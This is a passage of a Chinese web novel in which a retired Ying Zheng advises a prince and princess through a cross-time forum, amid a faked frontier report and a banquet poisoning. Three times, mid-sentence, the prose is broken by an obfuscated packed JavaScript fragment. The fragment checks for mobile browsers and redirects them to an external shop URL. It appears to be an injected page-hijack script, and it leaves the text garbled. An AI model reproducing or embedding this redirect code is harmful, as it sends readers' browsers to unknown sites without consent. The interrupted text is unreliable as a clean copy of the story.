暗格、玉佩、北境疑云、安平郡王的宴会……还有,“鹄羽”那及时又精准的情报。 这一切,是巧合吗? 还是说,这论坛,这光幕,这枚玉佩,甚至墨玉今日的发现,背后有着某种他尚未察觉的关联? 他拿起玉佩,对着窗外灰白的天光细看。 那奇特的纹样在昏暗光线下,似乎隐隐流动,中央的凹陷处,仿佛缺了什么东西。 缺了什么呢? 他正凝神思索,光幕又闪了一下。 这次,是论坛公共区一条新帖子,标题让他目光骤然一凝: 【神秘玉佩征集线索!有谁认识这种纹样?】 发帖人ID:金石癖。 主楼贴了一张图——虽然绘制得有些粗糙,但嬴政一眼就认出,那纹样,与他手中这枚玉佩,几乎一模一样。 下面已有几条回复: “没见过,像是某种图腾?” “有点像古蜀国的符号?” “楼主在哪见的?” 嬴政握着玉佩的手,微微收紧。 --- 13. 暴雨夜 雨下疯了。 入夜后,骊山暴雨如注,砸在瓦上如同万鼓齐擂。狂风卷着雨雾扑进回廊,连书房窗纸都湿透大半。哑巴老叟急忙在各处门廊下加挡雨板,佝偻的身影在昏黄的灯笼光里忙碌。 嬴政没睡。 他坐在书房里,面前摊着那枚墨色玉佩,旁边是摊开的绢帛,上面临摹着玉佩的纹样——正是论坛里那个“金石癖”帖子中出现的图案。 一模一样。 不是相似,是精确一致。连中央那个古怪凹陷的形状、边缘那线翠色的走向,都分毫不差。 天下没有这样的巧合。 要么,这玉佩本是一对或多枚,流散各处;要么……这论坛里,有知道他拥有此玉佩的人。 后一种可能,让他脊背微寒。 他点开“金石癖”的帖子,仔细看下面的每一条回复。除了那几个猜测,没有更多有价值的信息。发帖人之后也再未出现,头像灰暗着。 像是随手一抛的鱼饵。 钓谁? 嬴政目光转向光幕。私信栏里,“檐下雀”和“我言秋日”的头像都亮着,显然也都未眠。这样暴雨的夜晚,恰是谋划与不安滋生的温床。 他先点开“檐下雀”。 【檐下雀】:先生,胡不归找到了。但他不肯见官,更不肯作证。只说‘商人只谈买卖,不论国事’。 果然。 边贸巨商能在夹缝中生存,首要便是明哲保身。北狄王庭内斗这种事,说出来便是同时得罪北狄和朝中可能与之勾结的权贵,他怎会轻易开口? 【青耕】:他有何嗜好?或有何软肋? 【檐下雀】:此人好古玉,尤喜先秦之物。家中有一独子,体弱多病,遍请名医未愈。 古玉……独子…… 嬴政目光落回案上那枚墨色玉佩。 【青耕】:告诉他,你手中有一枚先秦古玉佩,纹样奇特,或与他收藏可互为印证。请他赏鉴。同时,寻一位擅治小儿虚症的太医,以‘偶遇’之名,为他儿子诊脉开方。两件事,分开进行,不必言明关联。 【檐下雀】:先生,我们……没有先秦古玉佩啊。 嬴政手指摩挲着玉佩冰凉的表面。 【青耕】:我有一枚,纹样已绘于图。你可据此描述。若他感兴趣,便说玉佩在一位隐居长者手中,需他亲自去见。地点……选在城西清虚观,那里清静。 【檐下雀】:这……妥当吗? 【青耕】:非常之时,用非常之法。去吧,时间紧迫。 【檐下雀】:是! 结束对话,嬴政静坐片刻。 他在赌。赌这玉佩的来历不凡,赌胡不归这个“金石癖”抵抗不了好奇,赌见了面后,他能有办法让对方开口。 风险很大。若胡不归认出玉佩并非先秦之物,或根本不屑一顾,此计便败。 但眼下,没有更好的选择。 暴雨敲窗,声声催人。 他转而点开“我言秋日”的私信。离她赴安平郡王的宴席,只剩两日。 【我言秋日】:先生,北境‘演武’的消息已递出去了。安平郡王府今日采买了大量蟹菊,确是要设宴。另,我查到,他此次还邀请了光禄大夫、以及两位素来中立的宗室老人。 光禄大夫也被邀请了? 嬴政眉头微蹙。□□之前态度暧昧,既向“檐下雀”示好,又不敢公然得罪董氏。安平郡王请他们,是想拉拢,还是试探? 【青耕】:光禄大夫近日与董太师可有往来? 【我言秋日】:明面上无。但三日前,董太师夫人进宫给刘贵妃请安,带了一匣东珠。 后宫走动,夫人外交。这比朝堂往来更隐秘,也更难防备。 嬴政沉吟。 【青耕】:赴宴那日,你提早一个时辰出门,绕道去城南的‘慈恩寺’,为父皇祈福。动静可稍大些。然后‘恰好’路过光禄大夫府邸,递个帖子,就说‘顺路请安,不敢叨扰,奉上佛前供过的平安符,愿刘夫人安康’。 【我言秋日】:先生是要……抢先一步示好? 【青耕】:是提醒。提醒光禄大夫:你在关注他家,且‘恰巧’在他赴安平郡王宴之前。他若聪明,宴上自会谨慎。 【我言秋日】:晚辈明白了。还有,安平郡王此次设宴,用了他府中最好的厨子,据说是江南请来的,擅烹蟹。 蟹…… 嬴政眼神微动。 【青耕】:宴上若上蟹,你只动一筷,便说‘近日服药,御医嘱忌寒凉’。酒,浅酌即止,可借口‘要回宫侍疾,不敢多饮’。所有入口之物,让你随行侍女先试——不必遮掩,大方做给所有人看。 【我言秋日】:是。还有一事……我收到一封匿名信,压在我书房镇纸下。 匿名信? 嬴政坐直身体。 【青耕】:内容? 【我言秋日】:只有一行字:‘宴上第三道菜,勿碰。’ 第三道菜…… 是警告,还是陷阱?若是善意提醒,为何不露面?若是恶意,目的何在? 【青耕】:信纸、笔迹有何特征? 【我言秋日】:普通竹纸,墨是寻常松烟墨,字迹工整,略显刻意,似是有意掩饰。 无从查起。 嬴政沉思片刻。 【青耕】:既如此,第三道菜,你便‘不慎’打翻酒盏,污了衣裙,借故离席更衣。避开便是。 【我言秋日】:好。先生,我……有点紧张。 终于说出这句话。 嬴政神色缓和了些。 【青耕】:紧张是常情。但记住:他设宴,是因为明面上已奈何不了你,才需借宴席试探施压。你已非当日可任人揉搓的孤女。你有北境隐约的支持,有宫中部分人心,有逐渐清晰的‘大义’名分。他比你更怕宴上失控。 【我言秋日】:……谢先生。我会记住。 结束对话,嬴政靠回椅背,闭目听着窗外狂暴的雨声。 墨玉不知何时跳上书案,小心翼翼避开玉佩,卧在绢帛旁,碧绿的眼睛望着主人,似乎在担忧。 “无事。”嬴政伸手摸了摸猫头。 话音刚落,光幕又闪烁起来。 这次,是公共区的新帖子,标题让他瞳孔骤然收缩: 【惊爆!北境战报疑似造假!边贸巨商胡不归透露:北狄王庭内斗正酣,根本无力南侵!】 发帖人ID:风声鹤唳。 帖子内容详实,不仅引用了“胡不归”的“原话”,还列出了北狄几位王子争斗的时间线、兵力损耗,甚至提到了“北狄可汗病重,诸子争位,各部观望”的细节。 下面瞬间炸了: “真的假的?!那北境急报是怎么回事?” “如果战报是假的,那请调京营北上就是阴谋!” “@青耕先生,您怎么看?!” “@鹄羽先生,求分析!” 嬴政快速扫过帖子,心跳微微加速。 胡不归开口了?这么快? 不,不对。“檐下雀”刚去接触,即便顺利,此刻也应还在周旋。这帖子出现得太早,内容也太详细。 像是……有人抢先一步,将消息捅了出来。 是谁? 他立刻给“檐下雀”发信: 【青耕】:论坛上的帖子,你看到了?胡不归那边进展如何? 【檐下雀】(很快回复):先生,我也刚看到!胡不归还没松口,我依先生计,刚提到古玉佩,他似有兴趣,但尚未答应见面。这帖子…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114054|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是我们的人发的。 果然。 有人在暗中推动,且速度极快。 目的是什么?帮“檐下雀”破局?还是……将水搅得更浑? 嬴政点开那个“风声鹤唳”的ID资料:新注册,只发过这一帖,再无其他痕迹。 他转而点开与“鹄羽”的私信窗口。 还未开口,“鹄羽”的消息先到了: 【鹄羽】:先生可见那帖子? 【青耕】:见了。鹄羽先生可知发帖人是谁? 【鹄羽】:不知。但时机巧妙,内容致命。北境战报若被坐实造假,董氏便是欺君罔上、勾结外敌的重罪。 【青耕】:然也。但此时曝出,恐逼董氏狗急跳墙。 【鹄羽】:先生所虑极是。故接下来,要看宫中那位如何决断了。若他能借此机会,一举拿下兵权…… 话未说尽,但意思明白。 这是将皇帝推到了必须表态的关口。要么趁势追究,要么继续隐忍。而无论哪种选择,朝局都将剧震。 【青耕】:鹄羽先生觉得,那位会如何选? 【鹄羽】:学生不敢妄测君心。但依常理,帝王最忌者,莫过于军权旁落、边报不实。此次若轻轻放过,往后边将皆可效仿,国本动摇。故……学生以为,那位多半会动,但动的分寸、方式,需极高明手腕。 分析得透彻。 嬴政沉默。他想起自己当年处置成蟜叛乱、嫪毐之乱时的心境。帝王一怒,伏尸百万。但更多时候,帝王需要的是精准的手术刀,而非屠城的巨斧。 尤其是,当对手树大根深、盘根错节时。 【青耕】:且看明日朝会吧。 【鹄羽】:是。另,学生多嘴一句:那位‘我言秋日’姑娘,赴宴在即,此帖一出,安平郡王或会自乱阵脚,宴上恐有变数。先生需提醒她。 嬴政心中一动。 确实。北境事若发,董氏首当其冲,但与董氏隐隐勾结的安平郡王,也必受牵连。他可能会惊慌失措,也可能会……铤而走险。 【青耕】:多谢提醒。 结束对话,嬴政立刻给“我言秋日”追加了一条私信: 【青耕】:论坛新帖已见?北境事或将引爆。安平郡王宴上,他若心神不宁,或会言语失当,你需留心。他若故作镇定,反而更要警惕——说明他已有应对之策,或想趁机做些什么。随机应变。 【我言秋日】(片刻后):看到了。先生,山雨欲来。 【青耕】:风满楼了。稳住了。 【我言秋日】:是。 所有指令发出,嬴政才发觉自己掌心微汗。 他起身,走到窗边,推开一丝缝隙。 狂风卷着冰冷的雨点扑进来,打在他脸上。远处山林在暴雨中模糊成一片晃动的黑影,雷声在云层深处滚过,闷响如巨兽低吼。 这场雨,真大。 他回头,看向光幕。论坛里那个帖子热度已飙至榜首,回复上千,各种猜测、分析、怒骂、担忧,混成一片喧嚣的海洋。 而光幕之外,两个时空,两个年轻人,一个正走向危机四伏的宴席,一个正面临可能决定国运的朝局对决。 还有他自己,手中握着一枚来历不明的玉佩,身在暴雨围困的深山别业。 一切,都仿佛被这场暴雨席卷、搅动、推向未知的漩涡。 墨玉跳下书案,走到他脚边,仰头“喵”了一声。 嬴政弯腰,将猫抱起。 “墨玉,”他低声道,声音淹没在雷雨声中,“你说,这雨……何时会停?” 黑猫将湿漉漉的鼻子凑近他下颌,轻轻碰了碰。 没有答案。 只有窗外的暴雨,如天河倾泻,无止无休。 --- 14. 黎明前的暗涌 暴雨在黎明前终于停了。 天光从云层缝隙中艰难挤出,照在湿透的山林上,蒸起茫茫白雾。骊山别业笼罩在浓重的水汽里,檐角还在滴滴答答落着残雨。 嬴政一夜未眠。 他换了身干爽衣袍,坐在书房中,面前的光幕幽幽亮着。墨玉蜷在书案一角,睡得正熟,偶尔耳朵抖动一下,似乎梦里也在听着什么。 论坛时间显示【第十二日卯时三刻】——正是“檐下雀”那个时空的早朝时分。 私信栏里,“檐下雀”的头像一直亮着,但整整一个时辰,没有任何消息传来。 安静得让人心悬。 嬴政没有催促,只是静静等着。他知道,此刻的朝堂之上,定是惊涛骇浪。那个关于北境战报造假的帖子,像一把淬毒的匕首,已掷入平静的湖面。接下来,要看握刀的手如何搅动,以及……湖底的暗礁会如何浮现。 他端起茶盏,茶已续过三次,早已淡而无味。 终于,在辰时初刻,私信急促闪烁起来。 【檐下雀】:先生,朝会……结束了。 只有短短一句,却仿佛耗尽了所有力气。 嬴政指尖微动。 【青耕】:如何? 那边沉默了片刻,然后是一段长长的叙述,带着压抑的激动: 【檐下雀】:董太师当场跪地请罪,言‘老臣失察,误信边报,罪该万死’。但坚称绝无造假,只是‘监军年轻,误判敌情’。并自请辞去太师衔,闭门待勘。 以退为进,仍是这套。 【青耕】:陛下如何说? 【檐下雀】:父皇沉默良久,当庭下旨:北境监军谎报军情,贻误国事,革职拿问,押解进京。董太师‘用人失察’,罚俸三年,暂留太师衔,于府中‘静思己过’,无诏不得出。 拿下了监军,却未动董太师根本。 是顾忌?是平衡?还是……另有谋划? 嬴政沉吟。 【青耕】:兵部右侍郎呢? 【檐下雀】:父皇命他‘戴罪立功’,暂署北境军务,但……加派了三位御史随军监察,其中一位是李御史。 明升暗降,且加了眼线。 这一手,漂亮。 既未彻底撕破脸,又实际削弱了董氏对北境的掌控。三位御史中只要有一人是皇帝心腹,董氏便难再一手遮天。 【青耕】:胡不归那边? 【檐下雀】:他今晨主动递帖子求见,说‘愿为国效力’。父皇已在偏殿单独召见。 主动求见? 嬴政眉头微挑。看来昨晚那帖子,不仅搅动了朝局,也让这位巨商看清了风向——皇帝要动真格了,此时站队,或可博个从龙之功。 【青耕】:你做得很好。经此一事,董氏虽未倒,但元气已伤。往后更要谨慎,他反扑起来会更狠。 【檐下雀】:是。先生,今早朝会时,我看到董太师离去的背影……他回头看了我一眼。那眼神,晚辈终生难忘。 怨毒,不甘,还有一丝……疯狂。 嬴政能想象那种眼神。当年嫪毐被车裂前,吕不韦被罢相时,都曾用那样的眼神看过他。 权力的野兽被逼到墙角,最是危险。 【青耕】:知道了。去歇着吧,今日不必再想朝事。 【檐下雀】:谢先生。 结束对话,嬴政靠在椅背上,闭目养神。 窗外,晨雾正缓缓散去,露出骊山青黛的轮廓。鸟雀开始鸣叫,雨后清新的空气从窗缝涌进来。 一场风暴,暂时平息。 但真的平息了么? 董太师闭门思过,却仍是太师。兵部右侍郎暂署北境军务,虽加了监察,但职位未动。董氏在朝中经营数十年的党羽、门生、姻亲,依然盘根错节。 这不过是中场休息。 他睁开眼,目光落回光幕。论坛里,关于北境造假帖的讨论已刷了上千楼。有人欢呼“奸臣当道,天理昭昭”,有人担忧“边关不稳,国本动摇”,还有人猜测“发帖人是谁?莫非是朝中清流?” 众生百态,尽在其中。 嬴政没有参与讨论。他点开了“我言秋日”的私信窗口。 离她赴安平郡王的宴席,只剩不到两个时辰。 【青耕】:准备得如何? 几乎是立刻,回复就来了: 【我言秋日】:已依先生吩咐,一个时辰前便出门,去了慈恩寺祈福,动静不小。路过光禄大夫府时,平安符已送到,刘夫人亲自出府门接了,态度恭敬。此刻正在回宫路上,更衣后便去安平郡王府。 【青耕】:甚好。宴上记住:多看,多听,少说。若有变故,随机应变。 【我言秋日】:是。先生,北境之事……安平郡王定已知晓。他此刻心情,恐怕极差。 【青耕】:正因如此,他可能会更急于从你这里找到突破口,或转移视线。警惕。 【我言秋日】:明白。 结束对话,嬴政想了想,又点开与“鹄羽”的私信窗口。 【青耕】:朝会结果,鹄羽先生可知道了? 【鹄羽】(很快回复):刚听闻。陛下处置,分寸拿捏极妙。既敲打了董氏,又未逼其狗急跳墙。只是……安平郡王那边,恐会受此牵连,心绪不宁。 又想到一处去了。 嬴政回复: 【青耕】:同感。故‘我言秋日’今日赴宴,需格外小心。 【鹄羽】:先生提醒得是。另,学生有一事不明,想请教先生。 【青耕】:请讲。 【鹄羽】:昨夜那揭露北境造假的帖子,出现时机太过巧合。学生思来想去,论坛中能有此能量、且愿出手相助者……不多。先生可知,会是谁? 这是在试探么? 嬴政神色不动。 【青耕】:不知。或许是某位正义之士,或许是董氏的政敌。论坛匿名,难查根底。 【鹄羽】:也是。只是……学生总觉得,此人似乎对朝局、边情、乃至胡不归此人都了如指掌。不像寻常热心网友。 确实。 但嬴政不想深究。在这论坛里,每个人都有自己的秘密。知道得太多,未必是好事。 【青耕】:水至清则无鱼。只要于大局有益,何必深究是谁撒的网? 【鹄羽】:先生豁达。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114055|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是学生着相了。 对话到此,本该结束。 但“鹄羽”又补了一句: 【鹄羽】:先生昨日提及那枚古玉佩,学生回去后翻阅了些古籍,偶见一图,与先生所绘纹样有六七分相似。 嬴政眼神一凝。 【青耕】:何书?何图? 【鹄羽】:是一本前朝野史杂录,记载了些神异之物。图中玉佩名为‘阴阳鱼佩’,据传为上古遗物,一阴一阳,双佩合一,可窥天机。然书中语焉不详,真伪难辨。 阴阳鱼佩……双佩合一…… 嬴政看向书案上那枚墨色玉佩。中央那个古怪的凹陷,莫非就是与另一枚契合之处? 【青耕】:那书可还在? 【鹄羽】:已佚失,学生所见乃残卷抄本。先生若感兴趣,学生可试着寻访全本。 【青耕】:有劳。 【鹄羽】:先生客气。 结束对话,嬴政将玉佩拿起,对着晨光细看。 阴阳鱼佩……窥天机…… 若真如“鹄羽”所说,这玉佩有一对,那另一枚在何处?这枚又为何会藏在自己书房的暗格中? 谜团似乎越来越多。 正思索间,书房外传来脚步声。哑巴老叟轻叩门扉,比划着早膳已备好。 嬴政收起玉佩,起身走出书房。 雨后的庭院格外清新,石板缝里钻出翠绿的青苔,檐下积水映着天光。墨玉跟在他脚边,时不时扑一下草丛里惊起的蚱蜢。 用过早膳,嬴政没有立刻回书房。他信步走到园中那株老桂树下,石桌上还残留着昨夜暴雨打落的枝叶。 他拂去落叶,坐下。 远处山峦如洗,云雾缭绕。近处园圃里,哑巴老叟正弯腰整理被暴雨摧折的花枝,动作缓慢而专注。 一切都显得宁静,祥和。 但嬴政知道,这只是表象。 光幕那头,一场宴席正在举行。觥筹交错间,可能是笑语盈盈,也可能是刀光剑影。 而朝堂之上,暂时的平静下,暗流正以更汹涌的姿态蓄积。 他轻轻吐出一口气。 退休生活,似乎比他预想的……要忙碌得多。 但也,有趣得多。 至少,比对着空白绢帛批阅“伪奏折”,要有意思。 墨玉跳上石桌,在他手边趴下,尾巴轻轻摆动。 嬴政伸手,揉了揉猫脑袋。 “你说,”他低声道,“今日那宴席上,会出什么事?” 墨玉“喵”了一声,碧绿的眼睛望着主人,仿佛在说:你猜。 嬴政笑了。 是啊,猜不着,才有趣。 他起身,准备回书房。 就在这时,光幕的私信提示,又一次急促闪烁起来。 这一次,是“我言秋日”。 时间,距她赴宴,刚刚过去一个时辰。 嬴政脚步一顿,快步走回书房。 点开私信。 只有短短一行字,却让他的神色,骤然沉了下来。 【我言秋日】:先生,出事了。安平郡王……中毒了。 --- 15. 宴中毒 【青耕】:细说!何时中毒?何种毒?症状如何?你此刻处境? 一连四问,急促如鼓点。 光幕那头,“我言秋日”的回复很快,但字迹略显凌乱,显然也是强压惊惶: 【我言秋日】:就在方才,宴至中途。第三道菜是蟹酿橙,众人皆动筷。安平郡王食后不久,忽然面色发青,捂腹剧痛,呕出黑血,现已昏迷。医官正在救治,说是……似中‘牵机’之毒。 牵机毒! 嬴政眼神骤冷。此毒剧烈,发作快,疼痛如绞,故名“牵机”。多用于宫廷秘事,民间罕见。 更关键的是——第三道菜。 那封匿名信曾提醒:“宴上第三道菜,勿碰。” 是预警?还是……早知有毒? 【青耕】:你可曾碰那道菜? 【我言秋日】:未碰!依先生言,我借口服药忌寒凉,只动了旁边素菜。且我随行侍女试菜时,也未曾试蟹酿橙——因是分餐小盏,她只试了我的份例。 好。至少她自身无碍。 但麻烦才刚刚开始。 【青耕】:宴上还有何人中毒? 【我言秋日】:目前只安平郡王一人。光禄大夫、两位宗室老人都无恙。但……但安平郡王昏迷前,手指着我,嘶声道‘你……你……’未说完便厥过去。在场众人皆见! 指认! 这是要将毒杀皇叔的罪名,扣在她头上。 嬴政深吸一口气,强迫自己冷静。越危机关头,越需镇定。 【青耕】:你此刻在何处?可有被限制行动? 【我言秋日】:仍在宴厅偏厢。郡王府侍卫已封锁内外,不许任何人离开。京兆尹的人刚到,正在勘查。他们……还未动我,但目光不善。 封锁现场,勘查,这是正常程序。但若勘查方向被引导…… 【青耕】:听着,按我说的做:一、立刻要求你的所有随从聚拢在你身旁,不得与任何人单独接触。二、主动要求验看你的餐具、剩余食物、以及你触碰过的所有物件。三、当着京兆尹的面,清晰陈述:你因需回宫侍疾,宴前已声明不食寒凉之物,故未碰蟹酿橙,有随行侍女及同席者为证。四、要求立刻彻查蟹酿橙的烹制、传菜全过程,所有经手之人一律暂扣。 条理清晰,步步为营。 主动要求验看,是示清白;强调“声明在先”,是铺垫合理性;要求彻查经手人,是将调查方向引向更可能的投毒环节——厨房、传菜,而非她这个公开声名不碰此菜的客人。 【我言秋日】:是!我这就去说! 【青耕】:还有——匿名信之事,暂勿提及。 【我言秋日】:明白! 对话暂停。 嬴政靠回椅背,手指无意识地敲击扶手。墨玉似乎感受到紧张气氛,跳上书案,安静地趴在他手边,眼睛盯着光幕。 窗外,晨雾已散尽,秋阳明亮。但书房内的空气,却仿佛凝滞了。 牵机毒……指认……第三道菜…… 太过明显了。 若真是“我言秋日”下毒,会选在自己声明不碰的菜里?会在众目睽睽下让安平郡王指认?会如此蠢么? 这更像是一个粗糙的构陷。但正因其粗糙,反而难破——因为指向明确,且安平郡王确实中毒了,生死未卜。 关键在于:毒是怎么下的?何时下的?谁有机会? 以及……那封匿名信的主人,是否知道更多内情? 正思索间,光幕又闪。这次是“檐下雀”。 【檐下雀】:先生!刚得急报,安平郡王府出事了!郡王中毒,昏迷不醒,京兆尹已封锁府邸! 消息传得真快。 【青耕】:知道了。你勿插手,静观其变。 【檐下雀】:先生,此事……是否与北境之事有关?董太师刚受挫,安平郡王便中毒,未免太过巧合。 这年轻人,也开始学会联想了。 【青耕】:或有牵连,但无实证前,不可妄言。你只需记住:此事于你,未必是坏事。 安平郡王若死,宗室中少一劲敌;若活,经此一事,与“我言秋日”已成死仇,再无转圜。无论如何,朝局都会重新洗牌。 【檐下雀】:晚辈明白。只是……那位姑娘,怕是要受大委屈。 还知道关心人。心性未失。 【青耕】:她若连这关都过不去,便不配走那条路。 话虽冷,却是实情。 结束对话,嬴政重新看向“我言秋日”的窗口。还未有回复。 等待的时间格外漫长。 他起身,在书房内踱步。几步后,又回到案前,目光落在那枚墨色玉佩上。 阴阳鱼佩……窥天机…… 若真有窥天机之能,此刻可否告诉他,那宴席之上,究竟是谁在幕后操弄? 他拿起玉佩,指腹摩挲着中央的凹陷。触感冰凉,纹路清晰。 忽然,他想起“鹄羽”说的“双佩合一”。 若另一枚玉佩也在某人手中,那人是否也在通过某种方式,“窥”着这边的局势? 这个念头让他脊背微凉。 --- 安平郡王府,宴厅偏厢。 气氛凝重得能拧出水。 “我言秋日”——本名李昭的年轻公主,端坐在圈椅中,腰背挺直,神色平静。只是袖中的手,微微攥紧,指甲陷入掌心。 她面前,京兆尹冯大人额角见汗,不停用帕子擦拭。 一旁,光禄大夫刘嵩眉头紧锁,另外两位宗室老人则面色惶惶,不时看向内室方向——那里,医官正在全力救治安平郡王。 “殿下,”冯大人硬着头皮开口,“下官职责所在,需问几句……” “冯大人请问。”李昭声音清冷,不见波澜,“本宫定当如实相告。” “是、是。”冯大人清了清嗓子,“殿下今日赴宴,可曾食用第三道菜蟹酿橙?” “未曾。”李昭答得干脆,“本宫近日服用汤药,御医嘱忌食寒凉,故宴前已向郡王叔祖说明,蟹酿橙及后续几道寒性菜肴,皆不动筷。在场诸位皆可作证。”她目光扫向刘嵩和两位宗室老人。 刘嵩点了点头:“确有此事。公主殿下入席时便言明了。” 两位老人也附和:“是,老朽听到了。” 冯大人记下,又问:“那殿下的随行侍女,可曾试过此菜?” “未曾。”李昭示意身旁的贴身侍女碧荷,“因是分餐小盏,她只试了本宫面前那份例菜。蟹酿橙未动,故未试。” 碧荷立刻跪下:“奴婢可对天发誓,殿下那份蟹酿橙,奴婢绝未触碰,更未试吃!” 冯大人看了看碧荷,又看了看李昭面前那份原封未动的蟹酿橙小盏,点点头:“下官明白了。那……殿下可能解释,为何郡王爷会指着殿下……” “本宫不知。”李昭打断他,语气依旧平稳,“郡王叔祖中毒痛苦,神志不清,所指为何,恐非本意。冯大人身为父母官,当查清毒从何来,而非纠结于病人呓语。” 这话说得有理有据,且带着隐隐的威压。 冯大人汗出得更多了:“是、是。下官已命人扣押所有厨房、传菜仆役,并请了刑部仵作前来验毒。只是……还需殿下稍候片刻,待初步结果出来。” “本宫理解。”李昭微微颔首,“只是父皇病中,本宫需回宫侍疾。若冯大人无确凿证据需扣押本宫,可否容本宫先行回宫?本宫可留碧荷在此,配合调查。若有事传唤,本宫随传随到。” 以退为进,且合情合理。 冯大人迟疑。按律,涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114056|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案人员不得离场。但眼前这位是公主,且目前并无直接证据指向她,只有郡王昏迷前含糊的指认…… 他正为难,内室门帘一掀,医官走了出来,面色沉重。 “郡王爷如何?”刘嵩急问。 医官摇头:“毒已入脏腑,学生……尽力了。若能熬过今夜,或有一线生机。” 众人脸色皆变。 李昭袖中的手,攥得更紧。安平郡王若死,此事便成弑亲大案,再难善了。 冯大人一咬牙:“殿下,情况紧急,恕下官斗胆,需请殿下暂留府中,待……” 话未说完,外间忽然传来一阵喧哗。 一名郡王府侍卫急匆匆进来:“大人!府外来了几位公公,说是奉旨,接公主殿下回宫!” 奉旨? 众人皆是一愣。 李昭心中也是一惊,但面上不露,只看向冯大人:“冯大人,看来父皇已知此事。本宫是留是走,请大人决断。” 冯大人哪里还敢“决断”,连忙道:“既是陛下旨意,下官岂敢阻拦。殿下请。” 李昭起身,对刘嵩等人微微颔首,便带着碧荷向外走去。 步伐平稳,但只有她自己知道,后背衣衫已被冷汗浸湿。 走出宴厅,穿过庭院,府门处果然站着几名宫中内侍,为首的是皇帝身边得力的老太监张公公。 “殿下受惊了。”张公公躬身行礼,声音低而清晰,“陛下听闻郡王府出事,特命老奴接殿下回宫。车驾已备好。” “有劳公公。”李昭点头,登上马车。 车帘落下,隔绝了外界所有视线。她这才松了那口气,整个人几乎虚脱。 马车缓缓驶离郡王府。李昭定了定神,立刻通过论坛给“青耕”发信: 【我言秋日】:先生,我已出府,奉旨回宫。安平郡王危重,恐难熬过今夜。 几乎同时,嬴政的回复就到了: 【青耕】:奉旨回宫?何人传旨? 【我言秋日】:是父皇身边的张公公。 【青耕】:陛下已知此事? 【我言秋日】:应是。但父皇病重,如何得知?又为何立刻下旨接我? 这也是嬴政的疑问。皇帝病重,消息传递应不会如此迅捷。除非……有人刻意让皇帝知道,且说服了皇帝立刻下旨。 是谁? 光禄大夫刘嵩?他宴上态度中立,且女儿是贵妃,有机会递话入宫。 还是……另有其人? 嬴政沉吟片刻,回复: 【青耕】:此事蹊跷。但无论如何,你已脱身。回宫后,立刻去陛下寝宫请安谢恩,将宴上经过如实禀报——只略去匿名信。看陛下反应。 【我言秋日】:是。先生,若安平郡王真的……我该如何自处? 【青耕】:若他死,弑亲罪名必起。届时,你需做三件事:一、自请禁足宫中,以示哀恸与待查之诚。二、让你舅父旧部在北境‘加强戒备’,并‘不经意’传出风声:安平郡王曾与北狄有秘密往来。三、在论坛发一帖,标题可为‘权力之争,是否必然你死我活?’,内容反思权争残酷,但强调自身清白,并质问幕后黑手。此帖可引导舆论。 先示弱,再反击,同时引导舆论。 李昭看着这三条,心中渐定。 【我言秋日】:谢先生。我……不怕了。 嬴政看着这行字,眼中掠过一丝极淡的欣慰。 【青耕】:去吧。 结束对话,嬴政靠回椅背,揉了揉眉心。 墨玉“喵”了一声,跳上他膝头。 “这一局,”嬴政低声道,“才刚刚开始。” 他看向窗外。 秋阳正盛,但山风已带寒意。 冬天,快来了。 --- 16. 双线 安平郡王府的中毒事件,像一块巨石投入本就暗流汹涌的潭水,激起千层浪。 接下来的两日,整个京城笼罩在一种诡异的紧绷中。 郡王府依旧被京兆尹的人守着,只许进不许出。宫中每日派御医轮值,但安平郡王始终昏迷,脉象时有时无,吊着一口气。朝野议论纷纷,各种猜测甚嚣尘上:有说公主弑亲的,有说郡王自导自演的,也有说董氏余党报复的——毕竟安平郡王与董太师素有往来,北境事发,难保不牵连。 嬴政这两日待在书房的时间明显更长。光幕几乎常亮,私信往来频繁。 “我言秋日”回宫后,依言先去皇帝寝宫请安谢恩。但皇帝并未见她,只让张公公传了句话:“好生歇着,勿再出宫。”不褒不贬,态度模糊。 她随后自请禁足于所居的漱玉轩,每日只抄经念佛,为安平郡王祈福。姿态做得很足,但暗地里的动作并未停歇:舅父旧部在北境“发现”了几封“疑似”安平郡王与北狄贵族的旧日书信(实为伪造,但足以乱真),并“恰巧”让消息通过某个北境商队传回了京城。 同时,她在论坛发了一帖,标题为《权力之巅,是否注定白骨铺路?》,内容诚恳反思权争残酷,表达对安平郡王病情的担忧,并直言:“我若真有害人之心,何须选在自己声明不食之菜中下毒?又何须在众目睽睽之下?望诸君明鉴,揪出真凶,还无辜者清白。” 帖子反响热烈。支持者、质疑者、分析者皆有。“青耕”和“鹄羽”都罕见地在下面回复了。 【青耕】:清者自清,浊者自浊。真相如镜,拭去尘埃,自见分明。 